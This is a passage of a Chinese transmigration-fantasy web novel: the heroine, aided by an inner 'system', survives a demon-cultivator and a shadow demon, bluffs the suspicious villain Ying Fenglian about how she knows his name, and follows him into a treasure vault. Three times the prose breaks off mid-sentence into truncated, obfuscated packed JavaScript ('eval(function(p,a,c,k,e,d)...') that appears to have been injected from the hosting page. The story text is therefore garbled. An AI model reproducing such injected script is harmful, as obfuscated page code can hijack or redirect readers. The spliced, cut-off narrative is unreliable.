颜悬昭不敢懈怠,毫不犹豫地将符文甩到了宋三的丹田之上,那里是存着魔丹,是魔修的真正命门所在。 符纸贴上去的那刻,宋三发出了更加凄厉的惨叫,身上冒出了缕缕的黑烟,肌肉如同溶解了般迅速化为腥臭的血水脱落。 我的修为!我的身体!不——!”宋三能清晰地感受到自己的修为正在被阵法疯狂吞噬,他拼命挣扎却徒劳无功,终于陷入了彻底的绝望,声音变调地哭嚎哀求:“停下!快停下!饶了我……我可以给你无数金银珠宝、天材地宝……放过我!求求你!” 法阵的红光越来越炽烈,宋三的哀嚎声越来越微弱,法阵如同一个贪得无厌的无底洞不断吸食着他的生命力。 看着眼前这恐怖骇人的一幕,让作为施术者的颜悬昭都感到一阵心惊肉跳,不寒而栗。 就在宋三即将彻底化为一具白骨架子之际,异变再生! 那团被宋三震散后一直匍匐于地的黑影,突然如同涨潮般猛地汹涌起来,猛地扑上去,将仅剩骨架的宋三彻底包裹、吞噬! “咔吧……” 颜悬昭听到了让人牙酸的骨头粉碎声,宋三彻底没了声音。 婚房内陷入了死一般的寂静,只剩下烛火燃烧的毕剥声和那团黑影蠕动的窸窣声。 与此同时,那团不明形状的黑影正慢慢收缩、聚拢,逐渐勾勒出一个人形。 应逢怜?! 颜悬昭瞪大了双眼,惊喜道:“你终于来了!” 应逢怜原来一直化为影子藏在宋三脚下吗?她都不记得原文有说过他还有这种邪门功法了。 她走上前去—— 【宿主别,他不是……】系统警告还未说完。 下一秒,黑影在她面前凝成了一个完全陌生的男子模样。 他狡黠一笑,露出沾满鲜红碎屑的獠牙:“小姐,真是感谢你的默契配合,让我今天不费吹灰之力饱餐了一顿。” 颜悬昭彻底傻在了当场。 宕机的大脑里疯狂回荡着系统刚刚说完的话: 【这是另一个魔!!】 7. 鱼与自行车 怎么还有一头魔? 刚打死一头虎,又来一匹狼。 颜悬昭已经彻底被现在的状况搞昏了头。 【我也不清楚,原书中对这段情节只是一带而过,并没有详细记载。】系统回答里带着同样的困惑。 抱着一丝敌我尚不明确的侥幸心理,她试探着开口:“敢问阁下是?” 那魔物似乎被她的话语逗乐了,发出了愉悦而低沉的笑声。 “小姐在问我的名字吗?但我没有名字,他们都叫我影魔。”他笑着回答道。 【宿主,我检索到了!】 “影魔”二字一出触发了系统的关键词库,它迅速从庞大的数据流里提取出了相关信息。 【在《蓬莱雪尽时》的世界观里,魔分两种,一种是天生地养的,由浊气和恶念所生成的物种,也可以称为魔物;另一种是修仙之人修炼魔功或走火入魔变成的,亦称为魔修。影魔就是前者,是一种靠附着在人影里吸食邪念为生的魔物。】 【被影魔跟随久了的人,会逐渐理智不清,陷入癫狂,最后会被它吞噬,成为滋养影魔的养分。】 颜悬昭这下彻底明白了,眼前的很可能是一直依附在宋三身上的魔物,并非应逢怜叫来的帮手。 为今之计只能尽量和他周旋,拖延时间,等待应逢怜过来。 “那个……影公子,感谢你出手相助救下小女子。”颜悬昭一边摆出一副感激不尽的讨好笑容,一边不动声色地往门边挪去。 眼看就要摸到门框了,影魔一个闪现堵住了她的去路。 “此言差矣。”影魔抵住门框,摇了摇头,“分明是小姐帮了我。” 颜悬昭警惕地看着眼前的魔,猜不透他到底想干什么。 无人知道,她的内心正在疯狂呐喊。 【应逢怜到底干什么去了?!怎么还没来啊?系统你能不能把他摇过来啊!】 【抱歉宿主,我目前无法检测到他的行踪,也不具备联络反派的功能。】系统无奈道。 影魔见颜悬昭不搭腔,却也不恼,像是找到了一个有趣的倾诉对象,自顾自地说下去:“宋三能魔功大成,是因为借用了我的魔骨进行修炼。既然是借,那就是要偿还本金和利息的。我打算在今晚尽数收回,享用我的大餐……” “只是这宋三修炼的速度超乎我的想象,想要拿下现今的他,我也难免要伤筋动骨一番……” 听到这,颜悬昭恍然大悟。 怪不得原文中,宋三前面十几任妻子都是成婚一段时间才暴毙的,唯独颜小姐是成亲当晚就香消玉殒,非常不符合宋三豢养炉.鼎,慢慢折磨人的作风。 如今看来,真正的凶手是这个影魔。在新婚夜,宋三必定不设防又邪念高涨,对影魔来说来收割成果的最佳时刻,颜小姐作为目击者自然也没法幸免。 宋三与虎谋皮最终自食恶果,也算是罪有应得,但颜小姐着实是无辜。 而眼下自己也快步上她的后尘了。 颜悬昭看着眼前死死堵住她逃跑路线的魔,深觉自己凶多吉少。 “啪“”地清脆一声。 影魔一拍掌,神经质地笑了起来,“还好……让我遇见小姐你,你的阵法真是精妙至极,居然能将宋三削弱至此,让我毫不费力地拿下了他。” 那你应该感谢应逢怜,是他的法阵助你毫不费力拿下宋三的。 颜悬昭不禁在心里腹诽道。 “我们的相遇简直是天赐良缘。”影魔附下身凑近颜悬昭的脸庞,用手指捻起了她的一缕发丝轻嗅,动作亲昵,却让人毛骨悚然:“你说,是不是啊?” “当然当然!不过,我觉得相见不如怀念,时间也不早了,我们就此别过,各自回家休息吧哈哈哈哈” 颜悬昭干笑着,试图将头发从他手里抽回来。 不料,影魔一把攥住了她的手,没有放她离开的意思。 “想离开?”他神情戏谑,嘴巴裂开了一个不可思议的幅度,猩红的舌尖探出舔舐着锋利獠牙,“和你讲这么多……不过是想让你做个明白鬼而已。” “你、你就是这样对待有缘人吗?”颜悬昭被逼得步步后退直至死角,退无可退。 面对宋三时的勇气在此刻已经泄得一干二净,她的腿控制不住地直打哆嗦。 “更何况我还帮了你?”她还试图用道理唤醒对面可能根本不存在的良知。 “是啊,我有很多有缘人,不过……”影魔指了指自己的肚子,“最后都在我的肚子里和我永久相聚了,这就是我对待有缘人的方式。” 他邪笑着朝着她的脸颊吹了口气:“为了报答你恩情,我会给你个痛快的。” 话音刚落,他就豁开了嘴巴露出了细密的獠牙,带着一阵猩风径直超颜悬昭纤细的脖颈咬下。 无计可施的颜悬昭绝望地闭上了双眼。 没想到她没有死在宋三手里,反倒要死在这个影魔手里了。 然而,预想中的疼痛并没有如期降临。 取而代之的是一阵狂暴的疾风猛地撞碎窗棂,席卷而来,从颜悬昭耳边刮过时震得她的耳膜嗡嗡作响。 紧接着便传来了影魔凄厉的惨叫—— “啊啊啊啊啊!” 一切都在电光火石间。 颜悬昭猛地睁眼。 发现一道修长挺拔的玄色身影正挡在她的前头,方才还气焰嚣张的影魔被一股可怕的力量掀飞出去,连带着身后桌椅烛台一并摔到了角落里,狼狈不堪。 更惊骇的是,影魔的脖子上竟然空空如也。 颜悬下意识将视线转回眼前人身上,骤然发现影魔的头颅正躺在他骨节分明的手上。 只见他拿在手心里轻抛了两下,下一秒头颅在半空中猛地炸开化为齑粉随着一股强悍的魔气四处飘散。 魔气带来的强大气流将他未束的墨发震得狂舞飞扬,在满室红烛的映衬下如同血渊下爬出灭世修罗。 一切发生得太快、太震撼了。 颜悬昭目瞪口呆,不禁失神地喃喃道:“太帅了吧……” 来人的身影轻微地僵硬了一瞬,难得侧身用猩红的瞳眸瞥了她一眼。 咦……应逢怜?!他终于来了! 颜悬昭今晚一直提着的心中轰然落下。 不得不承认,应逢怜的出现给她带来强烈的、压倒性的安全感,足以让她完全放松紧绷的神经。 只是她的神经歇息还不到半刻—— 在角落奄奄一息的影魔居然动了,房间里的阴影都以他为中心向他靠拢,重新凝聚成完整的形态……下一刻,一道影子凝成的锐利尖刺猛地袭出向应逢怜的背后刺去。 “小心——” 几乎在她提醒的同时,应逢怜后脑勺长眼睛似的,反手精准地接住了尖刺,五指轻拢,尖刺就如同脆弱的枯枝般节节寸断。 影魔也在此刻重聚人形,惊疑不定地死死盯着应逢怜,声音冷厉:“你是何人?为何要坏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她下意识伸手扶起—— 烛火……影子! 如果她将光都灭掉,让这里陷入彻底的黑暗,那么影魔是不是就无处藏匿了? 颜悬昭立马行动起来,趁着应逢怜再次把影魔击退,猫着腰溜到他们战圈没波及的地方,将烛台净数熄灭,还将帘子拉上遮挡外头的月光。 还没等她干完这一切,正欲吹灭手上的烛台,就被身后悄然生出的黑色触.须一把勒住卷走。 “啊!”她惊叫一声,天旋地转间她重新被裹挟在影魔的手里。 他明显识破她的意图,表情带着被激怒的狰狞:“怎么这么拼命帮他?莫非是你的小情郎……想帮你的情郎弄死我?没门!” 他拎着她重新面向应逢怜。 影魔自以为拿捏了应逢怜的软肋,得意洋洋,语气嘲弄,“方才是我误会了,原来是兄台是冲冠一怒为红颜啊……” 他用触.手勒住她的脖子,高高拎起展示在应逢怜面前,发出最后通牒—— “乖乖给我束手就擒,否则我立马杀了你的相好!” 颜悬昭的手努力扒拉着脖子上的禁锢,双腿不住地在半空扑腾,整一个欲哭无泪。 老铁,你抓我威胁他是没用啊!应逢怜失去了我就如同鱼失去了自行车,一点都不重要啊! 8. 绝处逢生 “呵。” 应逢怜的喉间溢出一声不屑的嘲弄。 影魔被他的态度激怒了,骤然收紧了桎梏在颜悬昭脖子上的阴影。 窒息感如潮水般袭来,勒得颜悬昭上气不接下气。 “影、魔大哥,我就是他的手下而已,你拿我威胁他是没用的……”她艰难地吐从喉间挤出字句,试图说服“绑匪”来实现自救。 她根本不敢指望应逢怜会大发善心救她。搞不好为了不碍他的事,他还会来个先杀为敬。 影魔的钳制微微一松。 颜悬昭抓住了这个空隙,语速飞快地说:“他压根不在乎手下死活,我要叛变!我知道他的弱点,快放我下来,我们一起对付他!” 影魔却丝毫不相信,冷笑道:“你当我是傻子吗?他会要你一个修为如此低下的人类当手下?” 就在这时,应逢怜动了。 他袖子一挥,霎时间烛光俱灭,屋内没入了无边的黑暗。 光源一灭,影子尽数消失。 影魔无处藏身,被迫以人形显现出来。 下一秒,应逢怜就如鬼魅般出现在了他面前,掌风凌厉,直取他的面门—— 影魔反应迅速,猛地后仰躲过,却不料应逢怜只是虚晃一招,又朝他的丹田蓄力击去,他狼狈地向右侧闪躲逃窜,却还是迟了一步,被击中腰侧。 影魔摔倒在地,吐出了大滩鲜血。 虽然应逢怜的这一击没有成功伤到他的要害,却让他受到了不轻的内伤。 见形势不妙,影魔没有和应逢怜继续缠斗,反而运足功力往两侧击去。 “哗啦”一声。 屋内两侧的窗棂全部破碎、倒下,月亮的清辉穿过墙壁上的窟窿洒进了屋内。 影子重新浮现。 影魔立刻抓着颜悬昭,身形一晃便融入了阴影之中。 转眼间,天地俱寂,房屋内只剩下了应逢怜静立在原地。 他思索片刻,阖上了眼,用听觉全神贯注地感受着四周细微的变动—— 风过树梢的婆娑声、门扉晃动的吱呀声、沙粒滚过地面的摩擦声、还有隐隐约约……粘稠的蠕动声! 应逢怜双眼未睁,精准抬手握住了西南方向袭击而来的锐刺。 “轰”的一声闷响,尖刺在他手中化为碎屑。 紧接着,无数的阴影触.手从四面八方蜂拥而至,天罗地网般朝应逢怜同时袭来,一波接着一波,不竭不歇! 影魔的力量又进一步增强了! 颜悬昭被影魔用阴影困住在了原地,只能被动地感受着这场黑暗中的恶斗。 她微末的修为无法让她无像应逢怜他们一样能在黑夜中轻松视物,只能在月光偶尔照亮的间隙里,捕捉到他们交手的残影。 战斗的节奏越来越快,打斗的余波如连绵不绝的剑雨叮叮当当地从她身边穿插而过,恍惚间让她以为自己在龙卷风的中心,但凡一个不小心都会被恐怖的力量撕得粉碎。 【宿主,我这边检测到应逢怜的内伤复发了,你快想想办法!】系统焦急万分的声音突然在她的脑海里响起。 想办法?她都被困在这里动弹不得,还能有什么办法? 就在颜悬昭以为自己今晚注定要和应逢怜一道死在这里时,眼前突然彻底黑寂,月光消失得无影无踪。 她猛地抬头往窗外看去。 浓重的乌云彻底遮住了月轮。 千载难逢的机会! 下一次乌云蔽月还不知道是什么时候,应逢怜还能撑多久也尚未可知,想杀死影魔只有把握住现在。 影魔因为影子消失无处藏匿,又回到她的身边化为了人形,手还牢牢扣住她的脖子。 看来他还没放弃拿她来制掣应逢怜。 颜悬昭原以为应逢怜会抓住这个机会强攻,却不想,他也静静蛰伏在黑暗中没有声响,静得让人心慌,一度让颜悬昭觉得他独自离开了这里。 系统的声音突然响起,带来了一个惊天噩耗。 【坏消息,应逢怜强行透支真气,引得内伤加剧,现在暂时没办法调动灵视了。】 也就是说,应逢怜和现在的她一样,是个睁眼瞎。 影魔显然察觉到了应逢怜的不对劲,但也不敢在这个时候贸然出手试探,选择待在原地屏气凝神,将自己所有的气息全部隐藏了起来。 不好!他在等月亮重新出来! 颜悬昭察觉到影魔的意图,心头一紧。 到那时候,就真的拿他没办法了! 她急得要出声提醒应逢怜,告诉他影魔的准确位置,刚张口,一根尖刺便悄无声息地抵在了她的后心,进行了一场赤.裸裸的死亡威胁。 颜悬昭的声音卡在了喉咙里,全身僵硬不敢动弹。 她的内心焦急万分,却思考不出破局之法。 到底该怎么办? 要是用来对付宋三的法阵能二次利用,把这个影魔的力量也给吸走就好了。 可惜应逢怜只给了她一张符。 等等……颜悬昭突然想起了自己其实还有一张符。 不过,这个符并不是应逢怜给的,而是她画的。 她不动声色地将手探进袖子摸索了一番,果然摸到了一张符的存在。 这张符箓是她偷偷参照应逢怜给的那张仿制的。 两张符箓用的符纸是同样的,至于绘制符文的朱砂,她猜测是参杂了应逢怜的血,于是在替他换药时,拿走了他染血的纱布。这样子下来,两张符箓的原材料构成是大差不差的。 只是她不确定的是她符文绘制得是否准确,这个山寨货又能否发挥出同样的强大效力。 眼看着云层越来越稀薄,月亮的微光已经在云朵的边缘渗出。 颜悬昭咬了咬牙。 事到如今,她也只能冒险一试了。 法阵和符箓的联结还需要影魔的血,但她相信应逢怜可以弄到。 那么,眼前只剩下最后一道难题了。 她无法在黑暗中视物,现在根本不知道应逢怜现在的确切位置…… 可是没时间犹豫了,颜悬昭把心一横。 赌了! 赌她的符箓有效,赌应逢怜的反应够快,赌他们之间……有那么点该死的默契! 她全然不顾身后的致命威胁,将袖子中的符纸攥成团,朝着她冥冥之中感应到的方向,全力掷出—— 纸团飞出的刹那,她撕心裂肺地高喊:“应逢怜!接住!” 风声簇动。 几乎是同时,影魔被她的举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看什么看啊,为了救你我都快死了,再不救我,我就要升天了…… 颜悬昭内心哀嚎,却没有这个胆量将这些吐槽宣之于口。 就在她以为应逢怜不会救她的时候,他突然伸手捏住了她的下颌。 他微微一用力就迫使她张开了嘴巴,直接将一颗圆润冰凉的丹药扔进了她的喉咙里。 颜悬昭下意识吞咽进了肚子里,刚要惊恐是什么毒药,一股温和却强大的暖流立刻从丹田处涌起,迅速流遍她的四肢百骸。伤口传的流血止住了,还传来细微的麻痒感,破损的组织正在以肉眼可感的速度修复。 不过片刻,她便撑着地面坐起来了。 颜悬昭刚要和应逢怜这个黑心大老板邀个功,让他嘉奖一下她今晚的出色表现。 却率先听见应封怜开口了。 他的语气听起来异常温和,甚至带着一丝恰到好处的疑惑,仿佛只是偶然想起:“昭昭是怎么知道……我叫应逢怜的?” 颜悬昭却听出了温和言语之下的重重杀机。 “我怎么记得,”他慢条斯理地补充道,冰凉的指尖轻轻抚上她脖颈上尚未消退的红痕,引得她一阵战栗,“我从未告诉过你?” 9. 圆谎 【警告!宿主请谨慎回答这个问题!】系统尖锐的提示音在颜悬昭的脑海里炸开,带着前所未有的急促。 颜悬昭的心猛地一沉,瞬间清醒地意识到自己犯了一个多么致命的错误。 她在情急之下,居然脱口喊出了“应逢怜”这个名字。然而,从始至终,他都未曾向她透露过自己的真名。 应逢怜的审视有如实质般落在她的脸上,颜悬昭虽然很好地维持住了脸上的表情,但冷汗已经浸.湿了她后背的衣衫。 她毫不怀疑,如果她不能根据他的问题给出一个满意的答复,后果绝对会很严重。 怎么办?告诉他真相,她绑定了系统穿越进了书中,这本书她看过,而他只是一本书里的反派角色。 【严重警告!绝对不可向任务世界人物透露系统及相关信息!】系统的否决来得又快又严厉,掐灭了她脑海中刚刚冒头的危险念头。 那么,对他谎称她做了一个预知梦?或者告诉他,她有未卜先知的能力? 许多穿书文里的主角都是通过这样的操作蒙混过关的,吸取前人的经验总不会有错。 她张了张口,要将这个刚想到的理由抛出来,却猛地对上了应逢怜冰冷的瞳眸。 他的瞳眸乍一看如同绽放着血色的花,强烈的非人感下带着纯粹而冷冽的探究,如同埃及神话中的斯芬克斯,平静地等待着猎物答错谜题,然后给予毁灭。 不行!一种诡异又强烈的直觉告诉她,她要是敢拿这个理由搪塞应逢怜,必死无疑。 “嗯?”应逢怜疑惑地歪了歪头,这个本该显得有些可爱的动作由他做来,却只让人感到毛骨悚然,他眼底的寒意愈胜,“很难回答吗?” 编好的理由临到颜悬昭的嘴边硬生生地拐了个急弯,变成了一句她都觉得离谱的狡辩:“你告诉过我,你忘记了。” 【宿主你这个理由太扯!我都不信,更何况反派的记性这么好!】系统不赞成道。 颜悬昭也觉得有点扯,但是……不管啦!话已出口,再改口就显得尤为地假了。 出乎意料的是,应逢怜还真迟疑了一瞬,缓缓将手从她脖子上收了回来,眉头微蹙,似乎真的在认真思索自己是否曾在某个不经意的时刻透露过真名。 “我什么时候对你说过?”他将信将疑地再次追问。 “额……”颜悬昭的大脑以前所未有的速度疯狂运转,几乎是灵光一闪,脱口而出,“睡梦中!你不小心说梦话被我听见了!” 这个补充看似合理,却不知道触碰到了应逢怜哪根神经。 他抬眼,眼底顿时闪过一丝厌恶,语气冰冷而笃定道;“不可能,你撒谎。” 【反派好感度-10、-20、-30……】系统的播报声犹如死亡倒计时般如约响起。 一股浓重到犹如实质的杀意扑面而来,颜悬昭呼吸一窒,急忙改口:“等等!我记错了!” 但她一时间想不出更好地理由来圆谎了。 她深吸一口气,强行压下声线的颤.抖,用一种近乎蛮横的肯定语气咬死道:“你之前的确亲口告诉过我!只是…只是我忘记具体是什么时候、什么场合了!” 她挺直脊背,努力让自己的眼神看起来真诚又带着点理直气壮的委屈,仿佛真的是对方记性不好冤枉了她。 越是理直气壮姿态,往往能让对方陷入自我怀疑的陷阱。 寂静在两人之间蔓延,颜悬昭听见自心跳如擂鼓般咚咚作响。 几息之后,系统提示音猝不及防地再度响起。 【叮—反派好感度上升至0,请宿主再接再厉。】 颜悬昭松了口气,听到好感度的那刻还是忍不住抽了一下嘴角。 出走半生,归来好感度仍是零鸡蛋。 应逢怜,你真的很难泡啊! 只见他没有说信也没有说不信,表情却是肉眼可见地更加疑惑了,甚至带着点说不出的迷茫,仿佛遇到了什么难以理解的悖论。 颜悬昭忍不住伸出手在他的眼前挥了挥,试图唤回他的注意力。 她的动作打断了他的思考。 应逢怜回过神来,眼底翻涌的复杂情绪转眼被平静取代。 他没有再追问这件事,好像不打算继续追究了,只是神情冷淡地说了句:“走吧。” 说罢,他便不再看她,起身大步流星地往外走去。 颜悬昭如蒙大赦,拎起裙摆连忙追了上去。 一踏出房门,颜悬昭就发觉到了不对劲,守在门外的仆人们竟通通消失不见了。 廊下悬挂的红绸依旧在夜风中飘扬,灯笼兀自亮着,映照着空无一人的回廊,仿佛在一.夜之间,所有府中的活物都被无形的大手抹去,只留下一座华丽而空洞的府邸。 一路行来,走过九曲回廊,又穿过几个院门,楞是一个人影都没看见。 “这…这一路上怎么都没人了?”颜悬昭忍不住加快脚步,凑近应逢怜身边,压低声音问道,“应逢怜,你知道怎么回事吗?” 应逢怜脚步未停,目光随意地扫过地面和周围的阴影,语气平淡无波,仿佛在说一件再寻常不过的事情:“都被刚刚那东西吃了,地上有他魔气的踪迹。” 颜悬昭猛地跳了起来,顿时觉得自己脚下的影子无比烫脚。对比起影魔,她甚至觉得应逢怜都变得亲昵可爱了,她急忙往他身边凑去。 应逢怜没理会她的反应,自顾自地往前走着,长腿一迈就是她的好几步。 颜悬昭不得不小跑起来,跟紧他这个唯一活人。 没跑几步,她就猛地撞上了他的脊背。 这一下撞得结实,颜悬昭捂住了鼻子痛呼出声,泪花都疼得从眼角里被逼了出来。 “你怎么突然停下来了?”她捂着鼻子闷闷道。 应逢怜转过身,垂眸奇怪地看着她,“你跟着我做什么?” “啊?”颜悬昭被问得一愣,下意识回答,“你不是说‘走’吗?我…我跟你一起走啊。” 不然她还能去哪?留在这座吃人的鬼宅里吗? 应逢怜面无表情道:“我不回颜府。跟着我要是发生了什么事,我不会保你平安。” 眼前有两条路摆在她的眼前,一条是独自回颜府,安全稳妥但会再次失去应逢怜的踪迹;另一条是跟应逢怜走,是个和他单独相处,感情升温的好时机,但前路凶险,死生自负。 为了攻略任务,也为抱住这条最粗大.腿,颜悬昭拼了。 “你要去哪,我就陪你去哪。”她强装淡定勇敢,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周遭异常寂静,颜悬昭摸索着台阶小心翼翼地往下踏,每一步都能在洞穴里听到自己脚步声在甬长的地道中回荡。 而走在前面的应逢怜,脚步轻得像猫儿一样,呼吸声也微不可闻,若非偶尔能感受到他衣袂带起的微弱气流,她都以为他凭空消失了。 眼看着脚下的道路越来越黑,已经暗到颜悬昭连台阶隐约的轮廓都看不清的程度,应逢怜的声息也离她越来越远,恐慌之下,她忍不住大喊出他的名字:“应逢怜!” 前面的人应声停下了。 “你也等一下我嘛,我看不见路。”颜悬昭恳求道。 她一边说着,一边认命地用手扶着湿冷的石壁,另一只手提起繁琐的嫁衣裙摆,用脚尖试探着向下探去,想要找到下一级台阶。 却不料,下一秒一脚踏空—— “啊——!” 强烈的失重感袭来,颜悬昭尖叫了一声,身体失去平衡,整个人不受控制地向前扑倒,沿着陡峭的石阶急速地向下滚去。 事情发生得太过突然,应逢怜还没来得及做出任何反应,就被球一样迅猛滚来的颜悬昭结结实实地撞了个正着。 颜悬昭滚落带来的巨大冲击力恰好撞在他旧伤未愈的腰腹间。 “呃!”应逢怜痛得闷哼了一声,疼痛带来的分神让他也一个没站稳被冲击的力道一带,一并失去了平衡。 两人顿时如滚葫芦般,纠缠在一起,顺着陡峭绵长的阶梯,一道滚了下去。 10. 密库 两人重重地砸落到了台阶底部,撞出一声沉重的闷响。 颜悬昭早在翻滚的过程中被吓得双眼紧闭,做好了摔个头破血流,或者四肢骨折的准备。 然而她预想中的疼痛并没有如期而至,相反“地面”还异常柔软,散发着热度。 眼前漆黑一片,她只能用手掌摸索着身下,指尖传来的触感柔韧而有弹性,非常不符合石面应有的质感。 她惊奇地捏了捏,却听到底下传来了应逢怜恼怒的声音。 “别乱摸!” 颜悬昭如同被火燎到一样瞬间缩回了手。她知后知后觉地察觉到自己居然躺在了应逢怜身上! 怎么回事?应逢怜怎么被她压.在了身下?他也踩空滚下来啦? 【宿主,你刚才滚下来的时候顺带着把他也给撞倒了,他给你当肉垫了。】系统的语气带着一种难以言喻的无语。 颜悬昭汗颜。她就说咋这么高摔下来还不疼? 老实说,她刚刚翻滚下来的时候视野天旋地转如同滚筒洗衣机,她脑子在剧烈滚动下直接停止运转了,实在没注意到她居然把应逢怜也给撞倒了。 “你还要在我身上坐多久?”应逢怜冷冷地开口,声音里夹杂着明显的不耐和因疼痛而产生的火气。 “对不起对不起!我现在就起来”颜悬昭猛地回过神,连连道歉。 她下意识用手臂发力撑地站起,却不料这一撑不偏不倚又正中应逢怜腰腹上的伤口。 “呃……” 伤口遭受到了二次暴击,应逢怜忍不住痛哼了出声。 【宿主,你碰到他的伤口啦!】看到颜悬昭傻住在原地的表情,系统都忍不住出声提醒道。 即便看不见,颜悬昭也感受到了底下的人骤然间呼吸加重,肌肉紧绷,冷汗不断地渗出。 她连忙跳了起来,要去查看他的伤口,焦急的问道,“应逢怜,你没事吧?” 应逢怜躺在冰冷的石地上,半晌没有动静。 他好不容易恢复了点血色的脸蛋此刻重新变得煞白,额角渗出细密的冷汗,脆弱得像是尊被摔出裂痕的白瓷娃娃。 见应逢怜不搭理她,颜悬昭心里更加焦灼了,生怕一个不小心把他这朵脆弱的“娇花”弄折在她手上。 她将系统要求的“大家闺秀”人设抛之脑后,丝毫不顾及什么“男女大防”,蹲下身就要上手拉开他的衣襟,查看他伤口的情形。 她的手刚扯开他外衣的一边,就被他用冰凉的手猛地握住了手腕,她的手腕试图挣扎了一下,却无果。 “我没事。”他出声,呼吸紊乱,嗓音还带着点沙哑和虚弱,语气却意外地坚决。 “你真没事吗?你可别逞强!”颜悬昭蹙眉,还是不太放心,关怀地说道,“你难受了就要说出来……还是脱了衣服让我看看吧。” 应逢怜阻拦她的手微微一滞,随后还是坚决地推开了她的手。 他从衣襟里掏出了一颗丹药含进嘴里,深吸了一口气,便凭借着强大的意志力,用手肘支撑着,有些艰难地原地盘膝坐起。 颜悬昭不敢打扰他,一直在旁边静静候着,等待他打坐调息结束。 待到呼吸重新变得平稳后,应逢怜才缓缓站了起来。 他掸了掸衣袍上的尘土,侧身看了她一眼。 “不要耽误事,继续走。”他语气冷硬,刻意忽略了她眼神里的担忧,说完便转身继续走,脚步里带着一丝不易察觉的虚浮。 没走两步,他就冷不丁地被身后的人扯住了袖子。 他回头扫了她一眼,语气有些不耐,“你还要……” 话还没说完就被颜悬昭期期艾艾地打断了:“那个……我看不见,能不能拉着你的袖子走?就一点点……我保证不碍事!” 应逢怜闻言楞了一下。 他早已习惯在黑暗中自动开启灵视视物,几乎忘了对于灵力低微、无法开展灵视的颜悬昭而言,这片地下空间是何等绝对黑暗。 颜悬昭看他没有回应,以为他拒绝了,有点失落地松开了他的衣角。 她还以为出生入死一番,他们关系多少也该拉近一点了吧?没想到,连这种小要求他都不愿意答应,这样铁石心肠的人该怎么攻略啊…… 就在她指尖即将完全离开的刹那,一声极低极轻的、几乎微不可闻的回应飘入她耳中。 “……嗯。” 颜悬昭不可置信地睁大了眼睛,心里疯狂call起了系统。 【系统系统!我有没有幻听,他刚刚是不是答应我了?!】 系统冷静地确认道:【是的,宿主你没有听错。】 颜悬昭几乎要按捺不住心中的雀跃笑出声来,她压住快起飞的嘴角,小心翼翼地再次伸出手,捏住了应逢怜袖袍的一小角。 此刻他们的距离变得无比地近,她甚至能感受到一旁的他手臂透过衣衫传来的热意。 攻略大魔头事业取得突破性进展! 她暗自在心底给自己比了个“耶”。 应逢怜垂眸,看着身旁仿佛得了什么天大好处般暗自傻笑的人,血色的眸子里掠过一丝纯粹的不解。 他实在无法理解,仅仅是允许她拉着袖子这种微不足道的事情,又不是应许了什么昂贵的珍宝给她,何以能让她高兴成这般模样? 这副容易满足的模样,到底是真的,还是装的,莫非她所图甚大? 他开始十分怀疑自己让她跟着来,是不是做了一个错误的决定。 尽管有了“人形导盲犬”应逢怜的引路,这一路走得顺畅了不少,但由于她看不见具体的路况,还是会时不时踢到一些洒落在地道里的碎石、被砖缝间的不平给绊到,走得踉踉跄跄地,拖慢了应逢怜的前进速度。 似乎实在无法忍受她的龟速前进了,应逢怜突然停下来脚步,毫无预兆地捞起她的手。 在颜悬昭还没反应过来之前,他冰凉的手指已经不由分说地探入她的指缝,与她十指紧密相扣。 异性突然其来的亲密接触让颜悬昭呼吸一窒,大脑一片空白,心脏砰砰直跳,还没等她从亲密接触里品出什么暧昧信号,就感觉到手心里传来汹涌而精纯的灵力霸道地贯入了她的经脉之中。 灵力冲刷筋脉的钝痛感让她下意识想挣脱应逢怜的手,却被他更加用力地紧握住了。 下一秒,她眼前漆黑一片的画面骤然发生了变化。原本看不见的地道,陡然显现了出来,一切物体仿佛被绘上了莹蓝色的描边,连道路上最细小的石子都有。 只要她想,集中注意力便可看见物体内部的线条,还能看见漂浮在空气之中的稀薄灵气,整个世界都被简化为了点和线条,简单直观,一目了然。 这难道就是灵视?!原来灵视的视野是这样的! 颜悬昭闭了闭眼睛,发现闭了眼还能看见这些线条,视野并不会发生变化。 她瞬间被这新奇的能力吸引住了全部注意力,暂时忘却了被紧攥住的手,像个第一次睁开眼看到世界 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宋家的府邸之下竟然别有洞天,也不知道耗费了多少人力物力才能打造出如此精巧而庞大的地下密库。 “咔嚓”的咬合声响起。 地面稳稳地停下,严丝合缝地嵌入了新的层面。 应逢怜松开了她的手。失去他灵力的支撑,颜悬昭眼前的灵视视野瞬间消失,世界重新归于一片黑暗。 但这一次,黑暗并未持续太久。 应逢怜走到了一扇厚重的石门前,不知道触碰到什么机关,石门应声而开,莹白的光从石门的缝隙里溢出,照亮了昏暗的走道。 她追随着应逢怜的步伐走了进去,一进去便被眼睛所看到的景象震撼了。 这是个极其广阔的地下密库,密库有着极高的穹顶,穹顶之上镶嵌满了无数如拳头大小的夜明珠,如悬空的星河散发着柔和的光,将整个空间照得犹如白昼。 四周的墙壁被开凿得无比平整,镶嵌进了一排排紫檀木做的博古架,架子上分门别类地摆满了各式各样的奇珍异宝。 锦匣里是泛着五色光辉的高阶法器、整齐排列的白玉瓷瓶装满各种功效的极品丹药,还有各种灵草兽丹若干……无一不是价值连城。 颜悬昭不由得感慨道,这宋家得搜刮了多少民膏民脂,害了无辜性命,才积聚起这足以媲美小型宗门底蕴的惊人密库? 应逢怜信步于其中,神情平淡地如同在超市挑选打折扣的临期大白菜,他目光挑剔地从这些珍宝上一一划过,挑挑拣拣一番,最终也只有少数勉强入了他的眼,被他毫不怜惜地扔进了储物戒中。 